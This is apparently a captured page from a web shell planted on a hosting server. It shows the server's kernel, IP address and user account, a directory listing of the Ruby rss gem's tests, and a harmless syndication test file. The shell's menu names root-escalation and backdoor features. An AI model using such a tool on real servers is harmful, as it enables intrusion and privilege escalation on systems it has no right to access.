Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.103
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby30 /
share /
gems /
gems /
rss-0.2.9 /
test /
Delete
Unzip
Name
Size
Permission
Date
Action
dot.png
111
B
-rw-r--r--
2024-06-26 17:25
rss-assertions.rb
69.07
KB
-rw-r--r--
2024-06-26 17:25
rss-testcase.rb
11.69
KB
-rw-r--r--
2024-06-26 17:25
run-test.rb
297
B
-rw-r--r--
2024-06-26 17:25
test_1.0.rb
8.16
KB
-rw-r--r--
2024-06-26 17:25
test_2.0.rb
12.29
KB
-rw-r--r--
2024-06-26 17:25
test_accessor.rb
2.5
KB
-rw-r--r--
2024-06-26 17:25
test_atom.rb
21.8
KB
-rw-r--r--
2024-06-26 17:25
test_content.rb
2.61
KB
-rw-r--r--
2024-06-26 17:25
test_dublincore.rb
9.05
KB
-rw-r--r--
2024-06-26 17:25
test_image.rb
6.89
KB
-rw-r--r--
2024-06-26 17:25
test_inherit.rb
1.06
KB
-rw-r--r--
2024-06-26 17:25
test_itunes.rb
13.37
KB
-rw-r--r--
2024-06-26 17:25
test_maker_0.9.rb
13.83
KB
-rw-r--r--
2024-06-26 17:25
test_maker_1.0.rb
14.38
KB
-rw-r--r--
2024-06-26 17:25
test_maker_2.0.rb
22.15
KB
-rw-r--r--
2024-06-26 17:25
test_maker_atom_entry.rb
13.77
KB
-rw-r--r--
2024-06-26 17:25
test_maker_atom_feed.rb
16.19
KB
-rw-r--r--
2024-06-26 17:25
test_maker_content.rb
1.02
KB
-rw-r--r--
2024-06-26 17:25
test_maker_dc.rb
4.15
KB
-rw-r--r--
2024-06-26 17:25
test_maker_image.rb
1.84
KB
-rw-r--r--
2024-06-26 17:25
test_maker_itunes.rb
18.96
KB
-rw-r--r--
2024-06-26 17:25
test_maker_slash.rb
832
B
-rw-r--r--
2024-06-26 17:25
test_maker_sy.rb
919
B
-rw-r--r--
2024-06-26 17:25
test_maker_taxo.rb
2.24
KB
-rw-r--r--
2024-06-26 17:25
test_maker_trackback.rb
1000
B
-rw-r--r--
2024-06-26 17:25
test_maker_xml-stylesheet.rb
1.99
KB
-rw-r--r--
2024-06-26 17:25
test_parser.rb
2.77
KB
-rw-r--r--
2024-06-26 17:25
test_parser_1.0.rb
12.07
KB
-rw-r--r--
2024-06-26 17:25
test_parser_2.0.rb
2.89
KB
-rw-r--r--
2024-06-26 17:25
test_parser_atom_entry.rb
4.2
KB
-rw-r--r--
2024-06-26 17:25
test_parser_atom_feed.rb
7.45
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_0.9.rb
6.88
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_1.0.rb
16.2
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_2.0.rb
8.96
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_atom_entry.rb
12.37
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_atom_feed.rb
13.53
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_itunes.rb
4.45
KB
-rw-r--r--
2024-06-26 17:25
test_setup_maker_slash.rb
1023
B
-rw-r--r--
2024-06-26 17:25
test_slash.rb
1.32
KB
-rw-r--r--
2024-06-26 17:25
test_syndication.rb
3.05
KB
-rw-r--r--
2024-06-26 17:25
test_taxonomy.rb
4.96
KB
-rw-r--r--
2024-06-26 17:25
test_to_s.rb
19.22
KB
-rw-r--r--
2024-06-26 17:25
test_trackback.rb
3.68
KB
-rw-r--r--
2024-06-26 17:25
test_xml-stylesheet.rb
3.48
KB
-rw-r--r--
2024-06-26 17:25
Save
Rename
# frozen_string_literal: false require_relative "rss-testcase" require "rss/maker" module RSS class TestMakerSyndication < TestCase def setup @uri = "http://purl.org/rss/1.0/modules/syndication/" t = Time.iso8601("2000-01-01T12:00:05+00:00") class << t alias_method(:to_s, :iso8601) end @elements = { :updatePeriod => "hourly", :updateFrequency => "2", :updateBase => t, } end def test_rss10 rss = RSS::Maker.make("1.0") do |maker| setup_dummy_channel(maker) set_elements(maker.channel) setup_dummy_item(maker) end assert_syndication(@elements, rss.channel) end private def accessor_name(name) "sy_#{name}" end def set_elements(target) @elements.each do |name, value| target.__send__("#{accessor_name(name)}=", value) end end end end